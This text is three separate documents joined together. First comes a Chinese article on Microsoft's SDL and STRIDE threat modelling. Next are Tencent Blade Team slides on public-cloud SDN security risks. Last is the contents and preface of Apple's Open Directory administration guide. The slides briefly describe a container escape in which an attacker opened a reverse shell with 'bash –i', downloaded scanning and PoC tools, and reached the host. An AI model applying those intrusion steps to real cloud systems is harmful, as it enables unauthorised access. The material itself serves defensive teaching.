第 1页 共 12页 SDL-软件安全设计初窥 — safer applications begin with secure design — Cryin@insight-labs.org 摘要:本文详细介绍微软软件安全开发生命周期(SDL)相关概念,并讨论要遵循 SDL 过 程所应执行的各种安全活动,其中着重对软件安全设计的原则进行探讨。并对 STRIDE 威胁 建模方法进行深入介绍。 安全开发生命周期(SDL)是一个帮助开发人员构建更安全的软件和解决安全合规要求 的同时降低开发成本的软件开发过程。 安全应用从安全设计开始,软件的安全问题很大一 部分是由于不安全的设计而引入的,微软用多年的经验总结出了安全开发生命周期(SDL), 并提出了攻击面最小化、STRIDE 威胁建模等多种方法辅助安全人员对软件进行安全设计。 安全设计对于软件安全的重要性尤为可见。 第 2页 共 12页 一. 前言 1.1 SDL 介绍 安全开发生命周期(SDL)即 Security Development Lifecycle,是一个帮助开发人员 构建更安全的软件和解决安全合规要求的同时降低开发成本的软件开发过程。 自 2004 年 起,微软将 SDL 作为全公司的计划和强制政策,SDL 的核心理念就是将安全考虑集成在软件 开发的每一个阶段:需求分析、设计、编码、测试和维护。从需求、设计到发布产品的每一 个阶段每都增加了相应的安全活动,以减少软件中漏洞的数量并将安全缺陷降低到最小程 度。安全开发生命周期 (SDL)1 是侧重于软件开发的安全保证过程,旨在开发出安全的软件 应用。 1.2 SDL 安全活动 简单来说,SDL 是微软提出的从安全角度指导软件开发过程的管理模式,在传统软件开 发生命周期 (SDLC) 的各个阶段增加了一些必要的安全活动,软件开发的不同阶段所执行的 安全活动也不同,每个活动就算单独执行也都能对软件安全起到一定作用。当然缺少特定的 安全活动也会对软件的安全性带来影响。 图 1:微软 SDL 安全活动简图 我曾今有幸参加过微软安全专家 Michael Howard 及 Taha Mir 关于 SDL 及威胁建模的培 训,作为《软件安全开发生命周期》一书的作者,Michael Howard 不只一次强调,安全培 训是 SDL 最核心的概念,软件是由设计人员设计,代码是有开发人员编写。同样,大部分软 件本身的安全漏洞也是由设计及编码人员引入,所以对软件开发过程中的技术人员进行安全 培训这点至关重要。 1 https://www.microsoft.com/en-us/SDL/process/design.aspx 第 3页 共 12页 可以看到在整个 SDL 周期中,除了安全培训这项活动,还在软件发布后增加了安全应急 响应的相关活动,而目前国内大多数公司目前已经基本上具备了安全应急响应的活动和职能 部门,同时包括安全编码规范、代码审计、渗透测试等安全活动也都已经基本具备甚至个别 企业已经比较成熟。但在软件设计阶段的安全活动则相对较少,据我了解仅个别大型跨国企 业才拥有安全设计等相关的安全活动。而根据微软多年的实践和经验,软件的安全问题很大 一部分是由于不安全的设计而引入的。在设计阶段造成的安全缺陷在后期修复的成本和时间 都相对较高。STRIDE 威胁建模的创始人之一 Taha Mir 曾说过“safer applications begin with secure design”,即安全应用从安全设计开始,相应的微软 SDL 也提出了若干核心的 安全设计原则,并提出了如攻击面最小化、STRIDE 威胁建模等多种方法辅助安全人员对软 件进行安全设计,本文就针对当前国内企业在软件设计阶段安全活动发展相对欠缺的安全设 计进行探讨。 二. 安全设计核心原则 SDL 安全设计核心原则:  Attack Surface Reduction:攻击面最小化  Basic Privacy: 基本隐私  Least Privilege: 权限最小化  Secure Defaults: 默认安全  Defense in Depth:纵深防御  Threat Modeling:威胁建模 2.1 攻击面最小化 攻击面是指程序任何能被用户或者其它程序所访问到的部分,这些暴露给用 户的地方往往也是最可能被恶意攻击者攻击的地方。 攻击面最小化即是指尽量减少暴露恶意用户可能发现并试图利用的攻击面 数量。软件产品的受攻击面是一个混合体,不仅包括代码、接口、服务,也包括 对所有用户提供服务的协议。尤其是那些未被验证或者远程的用户都可以访问到 第 4页 共 12页 的协议,安全人员在攻击面最小化时首先要对攻击面进行分析,攻击面分析就是 枚举所有访问入库、接口、协议一剂可执行代码的过程,从高层次来说,攻击面 分析着重于:  降低默认执行的代码量  限制可访问到代码的人员范围  限定可访问到代码的人员身份  降低代码执行所需权限 常见的攻击面分析技巧如下表: Higher Attack Surface Lower Attack Surface On by default Off by default Open socket Close socket UDP TCP Anonymous access Authenticated user access Constantly on On as needed Internet accessible Local subnet accessible 表 1 攻击面分析常用技巧 攻击面最小化在微软的应用实践示例: Windows RPC 需要认证、防火墙默认打开 iis6.0、7.0 使用 Network service 权限运行,默认关闭. Sql server 2005 /2008 xp_cmdshell 存储过程默认关闭,默认不开放远程链接 VS2005/2008 Web server 和 sql server 默认仅本地访问 表 2 攻击面最小化微软实践示例 2.2 基本隐私 用户使用软件时无可避免个人信息被收集、使用甚至分发,企业则有责任和 义务建立保护个人信息的保护措施,抵御敌对攻击行为,确保用户基本隐私的安 全性。隐私安全是建立可信任应用程序的关键因素。 第 5页 共 12页 在软件设计时考虑用户基本隐私的必要性及意义有:  履行法律规定和义务  增加客户的信赖  防止堵塞部署 对于特殊的软件或者全球性的产品,设计人员需要明确软件的行为及针对人 群。尤其要考虑当地国家的法律法规,如美国儿童网路隐私保护法 COPPA(Children's Online Privacy Protection Act)等,企业在开发产品、服务时 有必要制定明确的隐私准则,对获取、记录用户隐私的相关产品需有明确的要求 和指导建议。 Tips:  只收集程序必须用到的隐私数据,并明确告知用户并征得用户同意;  微软对于用户隐私数据如密码、口令等均需要加密存储,最低要求是 sha256+salt,对于更高要求的则使用 PBKDF2 算法加密存储; 2.3 权限最小化 如果一个应用程序或网站被攻击、破坏,权限最小化机制能够有效的将潜在 损害最小化。常见的权限最小化实践如:  普通管理员/系统管理员等角色管理  文件只读权限/文件访问权限等访问控制  进程/服务以所需最小用户权限运行 在进行软件设计时,安全设计人员可以评估应用程序的行为及功能所需的最 低限度权限及访问级别,从而合理分配相应的权限。如果程序特定情况必须要较 高级别的权限,也可以考虑特权赋予及释放的机制。即便程序遭到攻击,也可以 将损失降到最低。 Tips:  Windows 系统中网络进程、本地服务、用户进程的权限都较低且互相独 立,分别为 NETWORK SERVICE、LOCAL SERVICE、user 权限,只 有核心的重要进程实用 SYSTEM 权限; 第 6页 共 12页  最新版本的 Office 程序打开不可信来源的文档时,默认时不可编辑的, 同时也是默认不可执行代码的,即使存在缓冲区溢出漏洞,也不会执行 shellcode 等恶意代码; 2.4 默认安全 默认安全配置在客户熟悉安全配置选项之前不仅有利于更好的帮助客户掌 握安全配置经验,同时也可以确保应用程序初始状态下处于较安全状态。而客户 可根据实际使用情况而决定应用程序安全与隐私的等级水平是否降低。 Tips:  在 Win 7 之后的 Windows 操作系统中,DEP(数据执行保护)默认是开启 的。用户可设置选项改变 DEP 的状态;  Win 10 默认启用安全防护软件 Windows Defender,用户可选择关闭; 2.5 纵深防御 与默认安全一样,纵深防御也是设计安全方案时的重要指导思想。纵深防御 包含两层含义:首先,要在各个不同层面、不同方面实施安全方案,避免出现疏 漏,不同安全方案之间需要相互配合,构成一个整体;其次,要在正确的地方做 正确的事情,即:在解决根本问题的地方实施针对性的安全方案。 纵深防御并不是同一个安全方案要做两遍或多遍,而是要从不同的层面、不 同的角度对系统做出整体的解决方案。 Tips:  针对 XSS 的防护,除了要对用户输入的特殊符号进行过滤,还要区分是 否是富文本进而进行相应编码操作,在输入时过滤的同时在输出时也进 行过滤操作。  即使做了十足的过滤、编码等安全防护,为了更一步确保缓解 XSS 攻击, Internet Explorer 6 SP1 为 Cookie 引入了一个新属性,这个属性规定, 不许通过脚本访问 cookie。Web 站点程序对 Cookie 启用 HTTP-Only 第 7页 共 12页 属性后,可确保即使发生 XSS 攻击,也可以阻止通过脚本访问 Cookie 的操作。 2.6 威胁建模 威胁建模是一种分析应用程序威胁的过程和方法。这里的威胁是指恶意用户 可能会试图利用以破坏系统,和我们常说的漏洞并不相同。漏洞是一个特定的可 以被利用的威胁,如缓冲区溢出、sql 注入等。 作为 SDL 设计阶段的一部分安全活动,威胁建模允许安全设计人员尽在的 识别潜在的安全问题并实施相应缓解措施。在设计阶段把潜在的威胁发现有助于 威胁的全面和更有效的解决,同时也有助于降低开发和后期维护的成本。威胁建 模的一般流程如下:  与系统架构师及设计人员沟通,了解设计详情  使用成熟的威胁建模方法分析当前设计潜在的安全问题  提出安全建议及对潜在威胁的缓解措施  对安全设计进行验证并对整个设计方案进行回顾并再次确认 微软使用的威胁建模方法是 STRIDE 威胁建模方法。为了便于安全人员快速 便捷的进行威胁建模,微软开发基于 STRIDE 威胁建模方法的 SDL Threat Modeling Tool2威胁建模工具,该工具可以帮助安全人员画数据流图、分析威胁、 生成并导出威胁建模报告。 三. STRIDE 威胁建模方法 3.1 STRIDE 介绍 STRIDE 威胁建模是由微软提出的一种威胁建模方法,该方法将威胁类型分 为 Spoofing(仿冒)、Tampering(篡改)、Repudiation(抵赖)、Information Disclosure(信息泄漏)、Denial of Service(拒绝服务)和 Elevation of Privilege 2 https://www.microsoft.com/en-us/sdl/adopt/threatmodeling.aspx 第 8页 共 12页 (权限提升)。这六种威胁的首字母缩写即是 STRIDE,STRIDE 威胁模型几乎 可以涵盖目前绝大部分安全问题。此外,STRIDE 威胁建模方法有着详细的流程 和方法。 3.2 威胁建模流程 STRIDE 威胁建模的一般流程如下:  绘制数据流图  识别威胁  提出缓解措施  安全验证 图 2: STRIDE 威胁建模流程 3.2.1 数据流图 数据流图(Data Flow Diagrams)包含外部实体(External Entity)、处理过 程(Process)、数据流(Data Flow)、数据存储(Data Store),安全人员与系统架 构师及设计人员沟通,了解设计详情并画出数据流图后还需要标注信任边界 (Trust Boundary),针对简单的 Web 应用的数据流图如下: 第 9页 共 12页 图 3: 数据流图示例及元素类型 3.2.2 识别威胁 STRIDE 威胁建模方法已经明确了每个数据流图元素具有不同的威胁,其中 外部实体只有仿冒(S)、抵赖(R)威胁,数据流只有篡改(T)、信息泄露(I)、 拒绝服务(D)威胁,处理过程有所有六种(STRIDE)威胁,存储过程有篡改 (T)、信息泄露(I)、拒绝服务(D)威胁,但如果是日志类型存储则还有抵 赖(R)威胁。具体可以对照如下表格进行威胁识别: 元素 S T R I D E 外部实体 √ √ 处理过程 √ √ √ √ √ √ 数据存储 √ ? √ √ 数据流 √ √ √ 表 3 数据流图元素对应的不同威胁 3.2.3 缓解措施 根据不同的数据流图元素及威胁,相应的缓解措施也不相同。如本文示例数 据流图中外部实体用户的仿冒威胁,其缓解措施简单来说就是对用户身份进行认 证。对于一个 Web 应用来说,缓解仿冒威胁不仅需要较强的认证机制,还需要 第10页 共12页 防止恶意攻击者用暴力破解、口令猜测等方法绕过认证从而造成仿冒用户的威 胁。如果笔者来提出该用户仿冒威胁的缓解措施的话,详细措施如下:  对用户访问进行帐号密码、证书等身份认证;  用户帐号密码认证过程中,如果出现三次密码错误,则增加验证码机制。 输入验证码且正确再进行身份认证;  当用户认证 5 次后仍然验证失败,则在 30 分钟内禁止该帐号登录;  用户密码必须包含数字、字母及特殊字符,且长度在 8 位以上,如果业 务安全需要则增加密码过期机制,每隔 6 个月提醒用户修改密码; 在提出缓解措施时,有的时候不仅要考虑安全问题,同时也要考虑软件的易 用性,所以不同的威胁,不同的应用场景。其缓解措施也要随之而改变以提高应 用安全的同时也能给用户带来较好的交互体验。 微软对于常用的威胁给出了其常用的标准缓解措施,并在具体实施时已将常 用的缓解方案及措施集成为独立的解决方案或者代码模块。可以方便同类应用直 接使用。 威胁类型 缓解措施 技术方案 仿冒(S) 认证 Kerberos 认证 PKI 系统如 SSL / TLS 证 书 数字签名 篡改(T) 完整性保护 访问控制 完整性校验 抵赖(R) 日志审计 强认证 安全日志、审计 信息泄露(I) 保密性 加密 访问控制列表 拒绝服务(D) 可用性 访问控制列表 过滤 热备份 权限提升(E) 授权认证 输入校验 第11页 共12页 用户组管理 访问控制列表 3.2.4 安全验证 在威胁建模完成后,需要对整个过程进行回顾,不仅要确认缓解措施是否能 够真正缓解潜在威胁,同时验证数据流图是否符合设计,代码实现是否符合预期 设计,所有的威胁是否都有相应的缓解措施。最后将威胁建模报告留存档案,作 为后续迭代开发、增量开发时威胁建模的参考依据。 四. 总结 SDL 的核心理念是将安全考虑集成在软件开发的每一个阶段:需求分析、设 计、编码、测试和维护。从需求、设计到发布产品的每一个阶段每都增加了相应 的安全活动,以减少软件中漏洞的数量并将安全缺陷降低到最小程度。本文重点 介绍了设计阶段的安全活动指导思想及 STRIDE 威胁建模,但 SDL 的其它阶段 的不同安全活动也同样对软件安全有着重要影响。同时本文介绍的安全设计原则 仅为指导思想,安全设计人员还需要掌握一定的安全攻防知识,具备一定的安全 攻防经验才能更好的设计出安全的方案及软件应用。另外根据笔者经验,在实际 的安全设计工作中,对于不同软件及应用场景其面临的安全问题也不同。随着互 联网时代发展,目前已经不在是单纯的软件时代了,类似移动端应用、智能硬件、 云端、大数据平台等新形态的应用都面临的自身特有的安全问题。安全设计人员 要考虑的也要更多,但安全设计的核心原则还是相差无几。由于篇幅及笔者经验 有限,本文所述如有不妥之处可以与笔者联系交流。 第12页 共12页 五. 参考文献 [1] https://www.microsoft.com/en-us/SDL/process/design.aspx [2] http://www.microsoft.com/en-us/sdl/adopt/threatmodeling.aspx [3] Introduction_to_Threat_Modeling [4] Simplified Implementation of the SDL [5] https://github.com/Cryin/Paper
pdf
Tencent Blade Team 公有云SDN的安全风险与加固 演讲人:杨韬 2019 About Me • 安全平台部高级工程师 • Tencent Blade Team • 安全预研,SDN、BIOS、TEE About Tencent Blade Team 受邀参加Blackhat USA、DEFCON、HITB、 CanSecWest、CSS、KCon、XCon等多个海内外 顶级安全会议 多次受邀参加 海内外顶级安全会议 Amazon、小米、华为等多个品牌官方认可, 获小米安全年度最佳守护者,荣获华为漏洞 奖励计划官方认可 获Amazon、小米、华 为等多个品牌官方认可 为腾讯Tday、腾讯首届技术文化周等活 动输出泛安全影响力 输出全行业 泛安全影响力 成功发现首个TensorFlow框架自身安 全漏洞,并包揽TF已知前七个漏洞 谷歌TensorFlow 成功发现SQLite存在严重漏洞,影响 Chromium浏览器和大量Android、iOS应用 发现SQLite严重漏洞 成功破解Amazon Echo、Google Home、小米智能音箱等IoT设备 深耕IoT领域 目录 CONTENTS PART 01 SDN 01 PART 02 Beyond VM 02 PART 03 Devops without Sec 03 PART 04 Naughty Docker 04 PART 05 GreatWall 05 PART 06 Conclusion 06 PART 01 SDN 技术背景 租户隔离 SDN技术背景 SDN技术背景 SDN的优势 • 物理拓扑与逻辑拓扑不再绑定 • 按需实时变更逻辑拓扑 • 按需实时生成网络功能 SDN租户隔离 公有云SDN的核心特性 • 云上几乎所有业务的共需 • 具备多种实现方式 • 守护云安全的绝境长城 IAAS K8S 裸金属 PART 02 Beyond VM 从VM被入侵说起 Beyond VM 问:某用户购买的VM被入侵, 应如何处理? Beyond VM 问:某用户购买的VM被入侵, 应如何处理? 答:好像可以卖一套安全产品, 说不定再加一套安全服务哦~ Beyond VM 追问:是用户买的VPN被黑了, 咋办? Beyond VM 追问:是用户买的VPN被黑了, 咋办? 哦豁…… NETCONF对外开放弱密码…… Beyond VM 1. VPN也是一台VM 2. VPN和用户其他VM在同一虚拟网络 但是 VPN VM受SDN控制器管理配置 VPN VM可逃离租户隔离限制!!! 业务系统 OSS 控制器集群 IDC IDC 跳板机 Restful Restful syslog Netconf Ssh 管理界面 租户界面IPsecVPN 管理界面 租户界面SSLVPN 访问 控制 PART 03 Devops without Sec 愿安全与你同在 Devops without Sec 经验教训 • SDN安全配置在产品迭代中可能丢失 • SDN网络隔离必须结合加密通信、ACL控制形成纵深 • SDN跨越隔离边界的实体必须监控网络通信 PART 04 Naughty Docker 非典型容器逃逸 Naughty Docker 舞台:Serverless 主角:Docker 演出时长:300s 剧本:whatever Naughty Docker 天气风和日丽,发现了有趣的事~ • 0秒,X母机Y1容器,bash –i反弹Shell • 306秒,X母机Y2容器,下载扫描工具 • 630秒,X母机Y3容器,下载扫描工具 • 800秒,X母机Y3容器,下载某POC工具α Naughty Docker • 800秒,X母机Y3容器,下载某POC工具α • 1000秒,X母机Y3容器,下载某POC工具β • 1080秒,X母机,执行ifconfig、whoami、id 母机API漏策略没隔离!!! PART 05 Greatwall 万里长城永不倒,也别漏 Greatwall 经验教训 • 逃逸不一定是漏洞,也许是SDN网络隔离失效 • 针对容器/母机的强健监控,保障了SDN的持续进化 • SDN网络隔离,云服务安全长城的基石 PART 06 Conclusion SDN安全,公有云的安全基石 Conclusion • 攻击面 • 典型问题 • 配置不当 • 可用性问题 • 通信未加密 • 密钥管理 1 2 3 4 5 网络安全 宙斯盾 DNS劫持监控 应用安全 洞犀 金刚 门神 主机安全 安全架构 洋葱 数据安全 安全合规 安全质量 多维提升 前沿研究 威胁情报 蓝军演练 谢谢观看 演讲人:杨韬
pdf
Mac OS X Server Open Directory Administration For Version 10.3 or Later 034-2352_Cvr 9/12/03 10:29 AM Page 1  Apple Computer, Inc. © 2003 Apple Computer, Inc. All rights reserved. The owner or authorized user of a valid copy of Mac OS X Server software may reproduce this publication for the purpose of learning to use such software. No part of this publication may be reproduced or transmitted for commercial purposes, such as selling copies of this publication or for providing paid for support services. Every effort has been made to ensure that the information in this manual is accurate. Apple Computer, Inc., is not responsible for printing or clerical errors. Use of the “keyboard” Apple logo (Option-Shift-K) for commercial purposes without the prior written consent of Apple may constitute trademark infringement and unfair competition in violation of federal and state laws. Apple, the Apple logo, AirPort, AppleScript, AppleShare, AppleTalk, ColorSync, FireWire, Keychain, Mac, Mac OS, Macintosh, Power Mac, Power Macintosh, QuickTime, Sherlock, and WebObjects are trademarks of Apple Computer, Inc., registered in the U.S. and other countries. Extensions Manager, and Finder are trademarks of Apple Computer, Inc. Adobe and PostScript are trademarks of Adobe Systems Incorporated. Java and all Java-based trademarks and logos are trademarks or registered trademarks of Sun Microsystems, Inc. in the U.S. and other countries. Netscape Navigator is a trademark of Netscape Communications Corporation. RealAudio is a trademark of Progressive Networks, Inc. UNIX is a registered trademark in the United States and other countries, licensed exclusively through X/Open Company, Ltd. 034-2352/09-20-03 LL2352.Book Page 2 Friday, August 22, 2003 3:12 PM 3 3 Contents Preface 9 About This Guide 10 Using This Guide 11 Getting Additional Information Chapter 1 13 Directory Service Concepts 15 Directory Services and Directory Domains 16 A Historical Perspective 17 Data Consolidation 18 Data Distribution 19 Uses of Directory Data 21 Inside a Directory Domain 21 Local and Shared Directory Domains 21 About the Local Directory Domain 22 About Shared Directory Domains 24 Shared Data in Existing Directory Domains 25 Access to Directory Services 25 Discovery of Network Services Chapter 2 27 Open Directory Search Policies 27 Search Policy Levels 28 Local Directory Search Policy 28 Two-Level Search Policies 29 Multilevel Search Policies 30 Automatic Search Policies 32 Custom Search Policies 32 Search Policies for Authentication and Contacts Chapter 3 33 User Authentication With Open Directory 33 Authentication and Authorization 34 Determining Which Authentication Option to Use 35 Open Directory Authentication 35 Password Policies 35 Which Users Can Have Open Directory Passwords 36 Open Directory Password Server Authentication Methods LL2352.Book Page 3 Friday, August 22, 2003 3:12 PM 4 Contents 36 Contents of Open Directory Password Server Database 37 Kerberos Authentication 37 Kerberized Services 37 Kerberos Principals and Realms 38 Kerberos Authentication Process 39 Single Signon 39 Shadow and Crypt Passwords 40 Encrypting Shadow and Crypt Passwords in User Accounts 41 Cracking Readable Passwords 42 LDAP Bind Authentication Chapter 4 43 Open Directory Planning 43 General Planning Guidelines 44 Controlling Data Accessibility 45 Simplifying Changes to Data in Directories 45 Estimating Directory and Authentication Requirements 46 Identifying Servers for Hosting Shared Domains 47 Replicating Open Directory Services 47 Replication in a Multi-Building Campus 48 Improving Performance and Redundancy 49 Open Directory Security 50 Tools for Managing Open Directory Services 50 Server Admin 51 Directory Access 51 Workgroup Manager 51 Command-Line Tools 52 NetInfo Manager Chapter 5 53 Setting Up Open Directory Services 53 Setup Overview 54 Before You Begin 54 Setting Up Open Directory With Server Assistant 55 Managing Open Directory on a Remote Server 55 Setting Up a Standalone Server 56 Setting Up an Open Directory Master 57 Setting Up an Open Directory Replica 59 Setting Up Open Directory Failover 60 Setting Up a Connection to a Directory System 61 Setting Up Single Signon and Kerberos 61 Setting Up an Open Directory Master for Single Signon and Kerberos 62 Delegating Authority to Join an Open Directory Master for Single Signon and Kerberos 63 Joining a Server to an Open Directory Master for Single Signon and Kerberos LL2352.Book Page 4 Friday, August 22, 2003 3:12 PM Contents 5 63 Setting LDAP Options 64 Setting the Replication Frequency of an Open Directory Master 64 Changing the Location of an LDAP Database 65 Limiting Search Results for LDAP Service 65 Changing the Search Timeout for LDAP Service 65 Setting up SSL for LDAP Service 66 Migrating a Directory Domain From Netinfo to LDAP 68 Switching Directory Access From NetInfo to LDAP 69 Disabling NetInfo After Migrating to LDAP Chapter 6 71 Managing User Authentication 72 Composing a Password 72 Changing a User’s Password 73 Resetting the Passwords of Multiple Users 74 Changing the Global Password Policy 75 Setting Password Policies for Individual Users 76 Changing a User’s Password Type 76 Changing the Password Type to Open Directory 78 Changing the Password Type to Crypt Password 79 Changing the Password Type to Shadow Password 79 Enabling Single Signon Authentication for a User 79 Enabling Kerberos Authentication for a User 80 Enabling LDAP Bind Authentication for a User 80 Assigning Administrator Rights for Open Directory Authentication 81 Exporting and Importing Users Whose Password Type Is Open Directory 81 Exporting and Importing Authentication Manager Users 82 Migrating Passwords to Open Directory Authentication Chapter 7 83 Managing Directory Access 83 Setting Up Services in Directory Access 84 Enabling or Disabling Active Directory Service 84 Enabling or Disabling AppleTalk Service Discovery 84 Enabling or Disabling BSD Flat File and NIS Directory Services 85 Enabling or Disabling LDAP Directory Services 85 Enabling or Disabling NetInfo Directory Services 86 Enabling or Disabling Rendezvous Service Discovery 86 Enabling or Disabling SLP Service Discovery 86 Enabling or Disabling SMB Service Discovery 87 Configuring SMB Service Discovery 87 Setting Up the Authentication and Contacts Search Policies 88 Defining Automatic Search Policies 89 Defining Custom Search Policies 89 Defining Local Directory Search Policies LL2352.Book Page 5 Friday, August 22, 2003 3:12 PM 6 Contents 90 Accessing LDAP Directories 91 Enabling or Disabling Use of a DHCP-Supplied LDAP Directory 91 Showing or Hiding Options for LDAP Directories 92 Configuring Access to an LDAP Directory 93 Changing a Configuration for Accessing an LDAP Directory 93 Duplicating a Configuration for Accessing an LDAP Directory 94 Deleting a Configuration for Accessing an LDAP Directory 95 Changing the Connection Settings for an LDAP Directory 96 Configuring LDAP Searches and Mappings 98 Mapping Config Record Attributes for LDAP Directories 98 Editing RFC 2307 Mapping to Enable Creating Users 99 Preparing a Read-Only LDAP Directory for Mac OS X 100 Populating LDAP Directories With Data for Mac OS X 100 Accessing an Active Directory Domain 101 Learning About the Active Directory Plug-in 102 Configuring Access to an Active Directory Domain 104 Enabling or Disabling Active Directory Credential Caching 104 Specifying a Preferred Active Directory Server 105 Mapping the UID to an Active Directory Attribute 105 Changing the Active Directory Groups That Can Administer the Computer 106 Editing User Accounts and Other Records in Active Directory 106 Setting Up LDAP Access to Active Directory Domains 107 Accessing an NIS Domain 108 Using BSD Configuration Files 109 Setting Up Data in BSD Configuration Files 109 Accessing Legacy NetInfo Domains 110 About NetInfo Binding 111 Configuring NetInfo Binding 111 Adding a Machine Record to a Parent NetInfo Domain 112 Configuring Static Ports for Shared NetInfo Domains 113 Setting Up Directory Access on a Remote Server Chapter 8 115 Maintenance and Problem Solving 115 Monitoring Open Directory 115 Viewing Open Directory Status and Logs 116 Monitoring Open Directory Authentication 116 Directly Viewing and Editing Directory Data 116 Showing the Directory Inspector 117 Hiding the Directory Inspector 117 Changing a User’s Short Name 118 Backing Up Open Directory Files 120 Restoring Open Directory Files 121 Solving Directory Access Problems LL2352.Book Page 6 Friday, August 22, 2003 3:12 PM Contents 7 121 A Delay Occurs During Startup 122 Solving Authentication Problems 122 A User’s Password Can’t Be Modified 122 A User Can’t Authenticate for VPN Service 122 A User’s Password Type Can’t Be Changed to Open Directory 122 Kerberos Users Can’t Authenticate 123 Resetting an Administrator Password Appendix A 125 Mac OS X Directory Data 126 Open Directory Extensions to LDAP Schema 126 Object Classes in Open Directory LDAP Schema 132 Attributes in Open Directory LDAP Schema 145 Mapping Standard Attributes to LDAP and Active Directory 145 Mappings for Users 149 Mappings for Groups 150 Mappings for Mounts 151 Mappings for Computers 153 Mappings for ComputerLists 153 Mappings for Config 154 Mappings for People 156 Mappings for PresetComputerLists 156 Mappings for PresetGroups 157 Mappings for PresetUsers 159 Mappings for Printers 160 Mappings for AutoServerSetup 160 Mappings for Locations 161 Standard Attributes in User Records 165 User Data That Mac OS X Server Uses 166 Standard Attributes in Group Records 168 Standard Attributes in Computer Records 169 Standard Attributes in Computer List Records 170 Standard Attributes in Mount Records 171 Standard Attributes in Config Records Appendix B 173 Open Directory Password Server Authentication Methods 173 Enabling or Disabling Authentication Methods 174 APOP Password Validation 174 CRAM-MD5 Password Validation 174 DHX Password Validation 175 Digest-MD5 Password Validation 175 MS-CHAPv2 Password Validation 175 SMB-NT Password Validation 175 SMB-LAN Manager Password Validation LL2352.Book Page 7 Friday, August 22, 2003 3:12 PM 8 Contents 176 WebDAV-Digest Password Validation Appendix C 177 Authentication Manager Glossary 179 Index 185 LL2352.Book Page 8 Friday, August 22, 2003 3:12 PM 9 Preface About This Guide This guide describes the directory services and authentication services that Mac OS X Server can provide to Mac OS X client computers. Here is a summary of each chapter’s contents: • Chapter 1, “Directory Service Concepts,” explains what directory domains are, how they are used, and how they are organized. It also discusses how the discovery of network services is integrated with directory services. • Chapter 2, “Open Directory Search Policies,” describes search policies with one or more directory domains, and describes automatic, custom, and local-only search policies. • Chapter 3, “User Authentication With Open Directory,” describes Open Directory authentication, shadow and crypt passwords, Kerberos, LDAP bind, single signon, and cached authentication for mobile accounts. • Chapter 4, “Open Directory Planning,” helps you assess your directory domain needs, estimate directory and authentication requirements, identify servers of hosting shared domains, improve performance and redundancy, deal with replication in a multi-building campus, and make your Open Directory services secure. This chapter also introduces the tools you use to manage Open Directory services. • Chapter 5, “Setting Up Open Directory Services,” tells you how to set the Open Directory role of Mac OS X Server: standalone server, connected to a directory system, Open Directory master, or Open Directory replica. This chapter also tells you how to set some options of the LDAP service of an Open Directory master or replica and explains how to migrate a directory domain from NetInfo to LDAP. This chapter also tells you how to set up single signon and Kerberos authentication on an Open Directory master. • Chapter 6, “Managing User Authentication,” describes how to set password policies, change a user’s password type, assign administrator rights for Open Directory authentication, reset passwords of imported user accounts, and migrate passwords to Open Directory authentication. LL2352.Book Page 9 Friday, August 22, 2003 3:12 PM 10 Preface About This Guide • Chapter 7, “Managing Directory Access,” explains how to use the Directory Access application. This chapter tells you how to set up services and authentication and contacts search policies. This chapter also explains how to configure access to different directory domains: LDAP, Active Directory, NIS, BSD configuration files, and NetInfo. • Chapter 8, “Maintenance and Problem Solving,” tells you how to monitor Open Directory services, directly view and edit directory data with the Inspector, and back up Open Directory files. This chapter also describes solutions to some problems you may encounter. • Appendix A, “Mac OS X Directory Data,” lists the Open Directory extensions to the LDAP schema and specifies the standard record types and attributes of Mac OS X. • Appendix B, “Open Directory Password Server Authentication Methods,” describes the authentication methods that Open Directory supports. • Appendix C, “Authentication Manager,” tells you about the Authentication Manager technology that provides compatibility with user accounts created in Mac OS X Server version 10.0–10.2. • The Glossary defines terms you’ll encounter as you read this guide. Using This Guide The chapters in this guide are arranged in the order that you’re likely to need them when setting up and managing Open Directory on your server. • Review Chapter 1 through Chapter 3 to acquaint yourself with Open Directory concepts: directory services, search policies, and authentication. • Read Chapter 4 when you’re ready to plan directory services and password authentication for your network. • After you finish planning, use the instructions in Chapter 5 to set up Open Directory services. • Whenever you need to set password policies or change password settings in a user account, look for instructions in Chapter 6. • If you need to set up or change how a Mac OS X or Mac OS X Server computer accesses directory domains, follow the instructions in Chapter 7. • For ongoing maintenance of directory and authentication services, use Chapter 8. LL2352.Book Page 10 Friday, August 22, 2003 3:12 PM Preface About This Guide 11 Getting Additional Information Mac OS X Server comes with a suite of guides that explain other services and provide instructions for configuring, managing, and troubleshooting those services. Most of these documents are on the server discs in the form of PDF files. All of them are available in PDF format from www.apple.com/server/documentation. This guide Tells you how to Mac OS X Server Getting Started For Version 10.3 or Later Understand the new features of Mac OS X Server version 10.3 and prepare your server. Mac OS X Server Migration To Version 10.3 or Later Reuse data and service settings on Mac OS X Server version 10.3 that are currently being used on earlier versions of the server. Mac OS X Server User Management For Version 10.3 or Later Create and manage user, group, and computer accounts. Set up managed preferences for Mac OS 9 and Mac OS X clients. Mac OS X Server File Services Administration For Version 10.3 or Later Share selected server volumes or folders among server clients using these protocols: AFP, NFS, FTP, and SMB. Mac OS X Server Print Service Administration For Version 10.3 or Later Host shared printers and manage their associated queues and print jobs. Mac OS X Server System Image Administration For Version 10.3 or Later Create disk images and set up the server so that other Macintosh computers can start up from those images over the network. This guide covers NetBoot and Network Install. Mac OS X Server Mail Service Administration For Version 10.3 or Later Set up, configure, and administer mail services on the server. Mac OS X Server Web Technologies Administration For Version 10.3 or Later Set up and manage a web server, including WebDAV, WebMail, and web modules. Mac OS X Server Network Services Administration For Version 10.3 or Later Set up, configure, and administer DHCP, DNS, IP firewall, NAT, and VPN services on the server. Mac OS X Server Windows Services Administration For Version 10.3 or Later Set up and manage services for Windows users. Mac OS X Server QuickTime Streaming Server Administration For Version 10.3 or Later Set up and manage QuickTime streaming services. Mac OS X Server: Java Application Server Administration Deploy and manage J2EE applications using a JBoss application server on Mac OS X Server. Mac OS X Server Command-Line Administration For Version 10.3 or Later Use commands and configuration files to perform server administration tasks in a UNIX command shell. LL2352.Book Page 11 Friday, August 22, 2003 3:12 PM 12 Preface About This Guide For more information, consult these resources: • Read Me documents contain important updates and special information. Look for them on the server discs. • Online help, available from the Help menu in all the server applications, provides onscreen instructions for administration tasks as well as late-breaking news and web updates. • Apple support webpages and the AppleCare Knowledge Base provide answers to common questions and the latest information updates. These are available at www.info.apple.com/ • Apple Training offers courses for technical coordinators and system administrators. For a course catalog, visit the following website: train.apple.com/ • Discussion groups and mailing lists put you in touch with other server administrators, who may have already found solutions to problems you encounter. To find discussion groups and mailing lists, visit the following websites: discussions.info.apple.com/ www.lists.apple.com/ 